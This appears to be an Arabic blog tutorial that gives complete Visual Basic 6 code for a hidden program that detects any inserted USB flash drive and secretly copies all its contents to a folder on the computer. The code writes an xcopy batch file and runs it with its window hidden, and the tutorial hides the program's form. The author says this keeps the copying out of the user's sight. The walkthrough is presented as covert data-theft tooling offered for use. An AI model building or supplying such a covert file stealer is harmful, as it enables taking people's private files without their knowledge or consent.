كيف تصمم برنامج ينقل محتوى الفلاشة بخفاء


كيف تصمم برنامج ينقل محتوى الفلاشة بخفاء



الطريقة الأولى باستخدام الدوس (DOS) إلى جانب الفيجول بيسك وهي الطريقة التي سنتعلمها الآن ، والثانية الاعتماد على الفيجول بيسك بشكل كلي دون الربط مع نظام الدوس (فقط الاعتماد على كودات الفيجول بيسك) .
الفكرة سهلة جداً ولا تحتاج إلى الكثير من العناء ، كود بسيط قادر على أن ينسخ العديد من الفلاشات أو أي أقراص خارجية ببساطة وبخفاء بعيداً عن أعيُن المستخدمين .
نسخ الملفات والمجلدات باستخدام الدوس (أساسيات) 
لابد وأن نتعرف على أمر نسخ الملفات و المجلدات (Folders) باستخدام نظام الدوس (MS-Dos)، فمن أوامر الدوس أمر نسخ الملفات وهو Copy وسأوضح استخدامه في المثال التالي :
لوأردت نقل ملف Geniuses.exe الموجود بالقرص D:/ مثلا الى القرص F:/ أكتب أمر الدوس بهذا الشكل 
copy D:\Geniuses.exe F:\Geniuses.exe
وبعد الضغط على زر Enter سيتم نقل الملف من قرص الـ D:/ إلى قرص الــ F:/ 

اما بالنسبة لنقل المجلدات (Folders) نستخدم الأمر (xcopy) :
xcopy D:\NewFolder f:\computergeniuses /s


بعد استخدام الأمر xcopy سيتم نقل الفولدر ومحتواه الى المسار الجديد .

تصميم البرنامج 

كتبنا الأسطر السابقة بأيدينا وبطريقة يدوية ، ولكن الآن سنجعل الفيجول بيسك يكتبها في ملف خارجي ومن ثم يشغل هذا الملف بشكل خفي .

الخطوة الأولى : نشغل الفيجول بيسك 6 



الخطوة الثانية : ندرج على الفورم ثلاث أدوات 
1- الأولى Label وعددهم 5

2- Timer عددها 1
3- Drive List Box عددها 1

الخطوة الثالثة : ننقر على Timer1 مرة واحدة فقط ثم نغير قيمة Interval من 0 إلى 1 الموجودة بصندوق الخصائص (Properties) بالجانب الأيمن من الشاشة كما هو موضح بالشكل ، 


ماهو الـ Timer ولماذا غيرنا قيمة Interval ؟؟!!
   مهمة الـ Timer هو تكرار تنفيذ الكود الموجود فيه بعد فترة زمنية مقدارها Interval  وفي هذا المثال تساوي 1.

الخطوة الرابعة : ننقر على الآداة Timer مرتين لتظهر لنا صفحة خاصة بكتابة الكود الذي سيتم تنفيذه في الآداة Timer .
نكتب الكود التالي الذي سيتم تفصيله فيما بعد .

كما هو موضح بالشكل

أتوقع أن المبرمجين المبتدئين ليسوا سعداء بما حصل :( لقد نسخنا الكود ولم نوضح أي شيء ، لا تخاافو سأوضح هذا الكود بالتفصيل ;)

Private Declare Function ShellExecute _
    Lib "shell32.dll" Alias "ShellExecuteA" ( _
    ByVal hwnd As Long, _
    ByVal lpOperation As String, _
    ByVal lpFile As String, _
    ByVal lpParameters As String, _
    ByVal lpDirectory As String, _
    ByVal nShowCmd As Long) As Long

Private Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long



Private Sub Timer1_Timer()
On Error Resume Next                                     '  هذا السطر لتجاوز الأخطاء
Drive1.Refresh                                                 'لتحديث آداة الليست درايف
Label5.Caption = Drive1.ListCount        ' تجلب لنا عدد الداريفات الكلي وتضع هذه القيمة في الليبل رقم 5
Label3.Caption = Val(Label3.Caption) + Val(1)       ' كل مرة تضيف على الليبل3 رقم 1 
Label4.Caption = Drive1.List(Label3.Caption)          ' يجلب اسم الدرايف الموجود بالليست على حسب العدد 
     الموجود في الليبل 3 ويضع اسم الدرايف في الليبل 4 
   
   If GetDriveType(Label4.Caption) = 2 Then              
  On Error Resume Next
  Drive1.Drive = Label4.Caption
  Timer1 = False
       
   
   If Err Then
    Timer1 = True
   Else
   
Dim f As Integer
Dim s As String
'xcopy d:/shs f:\new /s
s = "xcopy " + Label4.Caption + "\" + " f:\computergeniuse /s "
f = FreeFile
   MkDir "f:\computergeniuse"
Open "f:\computergeniuse\copy.bat" For Binary As f
Put #f, 1, s
Close f
Dim sFile As String
Dim sCommand As String
Dim sWorkDir As String
    
    sFile = "f:\computergeniuse\copy.bat" 'The file to execute
    sCommand = vbNullString         'Command line parameters
    sWorkDir = Drive1.Drive        'The working directory
    ShellExecute hwnd, "open", sFile, sCommand, sWorkDir, 0
    End If
  
  End If
    
    
    If Val(Label3.Caption) > Val(Label5.Caption) Then
    Label3.Caption = -1
    
    End If

End Sub


ملخص الفكرة :

سيتم انشاء ملف باستخدام الفيجول بيسك يحتوي على الأمر xcopy لنقل الملفات من الفلاشة إلى ملف موجود بقرص الــ f:/ اسمه computergeniuses ، وما يضمه الكود السابق هو :

أولا : عملية تحديد مسار الفلاشة هل هي I:/ او j:\ او ....... ، فنحن في الجقيقة لا نعرف المسار الفعلي لها ، فقد تختلف من جهاز لآخر ، تحديد مسار الفلاشة يتم باستخدام الأمر GetDriveType   الذي يحدد نوع الأقراص ، حيث اذا ساوت الرقم 2 فهذا يعني ان القرص من نوع Removable وبالتلي ستكون بالتأكيد فلاشة .

ثانياً : عملية انشاء فولدر اسمه computergeniuses في قرص الــ f:/

ثالثاً : بناء ملف دوس يحتوي على ويحتوي على مسار الفلاشة الذي سنحدده باستخدام الكود والمسار الذي سيتم نقل
الفولدرات اليه وهو f:/computergeniuses حيث لا مشكلة في هذا المسار ، تكمن المشكلة بتحديد قرص الفلاشة لانه يختلف من جهاز لآخر .(سيتم تحديده باستخدام الكود)

رابعاً : تشغيل ملف الدوس الذي سيكون امتداده (bat) بعدما يتم انشاءه وتتم عملية التشغيل باستخدام الأمر ShellExecute 


شرح الكود :

الجزء الأول من الكود وهو 

Private Declare Function ShellExecute _
    Lib "shell32.dll" Alias "ShellExecuteA" ( _
    ByVal hwnd As Long, _
    ByVal lpOperation As String, _
    ByVal lpFile As String, _
    ByVal lpParameters As String, _
    ByVal lpDirectory As String, _
    ByVal nShowCmd As Long) As Long


هذا الكود يستخدم لاستدعاء المكتبة shell32.dll  التي تمكنك من استخدام الأمر ShellExecute  الخاص بتشغيل أي ملف موجود في الجهاز .



الجزء الثاني من الكود 


Private Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long


وهذا الجزء يمكنك أيضاً من استدعاء المكتبة kernel32 التي عن طريقها نتمكن من استخدام الأمر GetDriveType  لتحديد ما اذا كان هذا القرص Removable (فلاشة) أو Cd-Room او ....حيث كل قيمة لها نوع معين كما يوضحه الترتيب التالي 

2              Removable
3              Drive Fixed
4              Remote
5              Cd-Rom
6              Ram disk
Others     Unrecognized
الجزء الثالث من الكود

On Error Resume Next                                     '  هذا السطر لتجاوز الأخطاء
Drive1.Refresh                                                 'لتحديث آداة الليست درايف
Label5.Caption = Drive1.ListCount        ' تجلب لنا عدد الداريفات الكلي وتضع هذه القيمة في الليبل رقم 5
Label3.Caption = Val(Label3.Caption) + Val(1)       ' كل مرة تضيف على الليبل3 رقم 1 
Label4.Caption = Drive1.List(Label3.Caption)          ' يجلب اسم الدرايف الموجود بالليست على حسب العدد 
     الموجود في الليبل 3 ويضع اسم الدرايف في الليبل 4 
   
حيث يقوم هذا الجزء بفكرة بسيطة وهي عملية زيادة عداد الليست حتى يتم المرور على كل الأقراص الموجود بالليست 

 مهمته زيادة الـ count للمرور على جميع الدرايفات (الأقراص) وهو متكامل مع الكود الذي بعده تماما 
فيأتي إلى القرص c:\ ويقارنه بالقيمة 2 هل نوعه removable ام لا ؟ ومن ثم يزيد ال count 1 للانتقال الى القرص d: ومن ثم يقارنه بالقيمة 2 ويحدد هل هو removable او لا وهكذا حتى يتم التحقق من جميع الدرايفات.

وهذا الجزء مترابط مع آخر ثلاثة أسطر من الكود 

  If Val(Label3.Caption) > Val(Label5.Caption) Then
    Label3.Caption = -1
    End If

حيث مهمة هذه الأسطر ، اذا زادت قيمة label3 عن عدد الدرايفات الموجود بالليست سيعود العداد من جديد للتشييك مرة أخرى ، لأن عدد اللدرايفات هي نفسها القيمة الموجودة في label5 .


الجزء الرابع من الكود 

If GetDriveType(Label4.Caption) = 2 Then              
  On Error Resume Next
  Drive1.Drive = Label4.Caption
  Timer1 = False

  If Err Then
    Timer1 = True
  Else

       
   كما هو واضح هذا الكود خاص بالتحقق من نوع القرص كما قلنا في الجزء الثالث من الكود.

ولكن يوجد سطر مهم هنا وهو On error resume Next  ؟؟؟؟ 
هذا السطر خاص بــتجاهل الأخطاء حيث اذا كان خطأ ف الكود لايقوم بتنفيذه وإنما ينتقل اللى مابعده أو ينتقل الى جملة
if err then لتنفيذ ماتحتها ان وجدت .

اما بالنسبة للسطر  Drive1.Drive = Label4.Caption فهو يعني في حال التحقق والتأكد من أن الداريف الموجود في label4 من نوع removable اجعل قيمة الليست تساوي اسم الدرايف (الفلاشة) الموجود في label4 .

ثم أوقف التايمر عن العمل .(لأنه في هذه الحالة يكون قد حدد نوع الدرايف (removable)وتم معرفة مسار الفلاشة)
اما اذا لم يتمكن البرنامج من جعل قيمة Drive1.drive تساوي الليبل4 فهذا يعني انه الفلاشة غير موجودة او تم ازالتها ، لذلك سيحدث خطأ ، وسيجعل البرنامج يذهب الى السطر  If Err Then وينفذ مابعده وهو العودة من جديد لتشغيل التايمر وبالتالي البحث من جديد في كل الليست عن الفلاشة بشكل مستمر حتى يتم وضعها مرة أخرى ف الجهاز .

اما في حال عدم وجود خطأ فهذا يعني ان الفلاشة موجود وبالتلي driver.drive يمكنها ان تساوي label4 لذلك سيستمر لما بعد Else لانه لايوجد خطأ كما سنرى في الجزءالخامس من الكود.

الجزء الخامس من الكود


Dim f As Integer
Dim s As String

s = "xcopy " + Label4.Caption + "\" + " f:\computergeniuse /s "
f = FreeFile
   MkDir "f:\computergeniuse"
Open "f:\computergeniuse\copy.bat" For Binary As f
Put #f, 1, s
Close f
Dim sFile As String
Dim sCommand As String
Dim sWorkDir As String
    sFile = "f:\computergeniuse\copy.bat" 'The file to execute
    sCommand = vbNullString         'Command line parameters
    sWorkDir = Drive1.Drive        'The working directory
    ShellExecute hwnd, "open", sFile, sCommand, sWorkDir, 0
    End If
    End If

في السطر الأول Dim f As Integer يتم تعريف المتغير f بحيث يكون عدد صحيح .
في السطر الثاني يحمل قيمة Dim s As String يجعل نوع المتغير s من نوع string وهذا الحرف سنضع فيه الأمر xcopy 
السطر الثالث s = "xcopy " + Label4.Caption + "\" + " f:\computergeniuse /s " كما هو واضح لقد جعلنا قيمة s تساوي xcopy + مسار الفلاشة لانه كما وضحنا سابقا أن مسار الفلاشة سيتم وضعه في lable4 واما عن f:\computergeniuse / فهو المسار الثابت الخاص بنا كما وشحنا فيما سبق 

اما بالنسبة لــ MkDir "f:\computergeniuse"  فهذا السطر خاص بــبناء فولدر جديد باسم computergeniuses في قرص الــ f:/ في حال عدم وجوده .

في السطر Open "f:\computergeniuse\copy.bat" For Binary As f يتم فتح ملف دوس كما تلاحظ هنا من نوع bat وهذا ماقد تحدثت عنه سابقاً ، حيث في هذا السطر يتم فتح ملف اسمه copy من نوع bat  ويجعله من النوع الثنائي Binary ليتم كتابة السطر "xcopy " + Label4.Caption + "\" + " f:\computergeniuse /s " في الملف copy.bat .

السطر Put #f, 1, s بعد عملية فتح الملف يتم ادخال البيانات فيه باستخدام الأمر Put وذلك بالابتداء من بداية الملف حيث القيمة 1  تعني الكتابة من أول الملف (أول حرف بالملف سيكون نقطة البداية) ، للتوضيح ( لو كانت 2 سيبدأ الكتابة بالملف بعد فراغ واحد بمقدار حرف ) .
والحرف s يحتوي على الكلمات المراد اضافتها .

Close f : هنا تم اغلاق الملف بعد انتهاء عملية الكتابة فيه .

اما بالنسبة لهذا الجزء من الكود 
Dim sFile As String
Dim sCommand As String
Dim sWorkDir As String
    sFile = "f:\computergeniuse\copy.bat" 'The file to execute
    sCommand = vbNullString         'Command line parameters
    sWorkDir = Drive1.Drive        'The working directory
    ShellExecute hwnd, "open", sFile, sCommand, sWorkDir, 0


فهو خاص بتشغيل الملف copy.bat بعد انشاءه أترى هذا السطر sFile = "f:\computergeniuse\copy.bat" ؟؟؟
يحدد مسار الملف الذي تم انشاءه ليتم تشغيله عن طريق الأمر ShellExecute 
السؤال هنا ، ماهي النقطة المسؤولة عن تشغيل الملف بشكل خفي بحيث لا يظهر ملف copy.bat عند تشغيله ؟؟!!!
انها القيمة 0 ياصديقي *_^ ، تستطيع تغيرها إلى قيمة أخرى لترى نتائج مختلفة تماماً حيث لو كانت القيمة 1 ستظهر كل عملية النسخ امام المستخدم وبالتالي ستؤول حينها محاولتنا إلى الفشل ، فالصفر هي الحل الأمثل حيث لاشيء اما من المستخدم.

انتهى الكود وبقيت خطوة واحدة فقط ، وهي اخفاء الفورم ، كيف يتم اخفاء برنامجنا عن المستخدم ؟؟؟
انقر مرتين على الفورم واكتب هذا الأمر me.hide كما هو موضح بالشكل





الشكل النهائي للكود :

Private Declare Function ShellExecute _
    Lib "shell32.dll" Alias "ShellExecuteA" ( _
    ByVal hwnd As Long, _
    ByVal lpOperation As String, _
    ByVal lpFile As String, _
    ByVal lpParameters As String, _
    ByVal lpDirectory As String, _
    ByVal nShowCmd As Long) As Long
Private Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long

Private Sub Drive1_Change()
End Sub

Private Sub Form_Load()
Me.Hide
End Sub

Private Sub Timer1_Timer()
On Error Resume Next
Drive1.Refresh
Label5.Caption = Drive1.ListCount
Label3.Caption = Val(Label3.Caption) + Val(1)
Label4.Caption = Drive1.List(Label3.Caption)
   
   If GetDriveType(Label4.Caption) = 2 Then

  On Error Resume Next
  Drive1.Drive = Label4.Caption
  Timer1 = False
  If Err Then
    Timer1 = True
  Else
  
 Dim f As Integer
Dim s As String
'xcopy d:/shs f:\new /s
s = "xcopy " + Label4.Caption + "\" + " f:\computergeniuse /s "
f = FreeFile
   MkDir "f:\computergeniuse"
Open "f:\computergeniuse\copy.bat" For Binary As f
Put #f, 1, s
Close f
Dim sFile As String
Dim sCommand As String
Dim sWorkDir As String
    sFile = "f:\computergeniuse\copy.bat" 'The file to execute
    sCommand = vbNullString         'Command line parameters
    sWorkDir = Drive1.Drive        'The working directory
    ShellExecute hwnd, "open", sFile, sCommand, sWorkDir, 0
    End If
    End If
   
    If Val(Label3.Caption) > Val(Label5.Caption) Then
    Label3.Caption = -1
    End If
    
End Sub

أتمنى لكم الفائدة ، شكرا لمتابعتكم : ) 

المشاركات الشائعة من هذه المدونة

بعض المواقع لتصميم البروشورات أون لاين والتعديل عليها بكل سهولة

طريقة تحويل هاتفك إلى (AVD Android أو Emulater) بدون مشاكل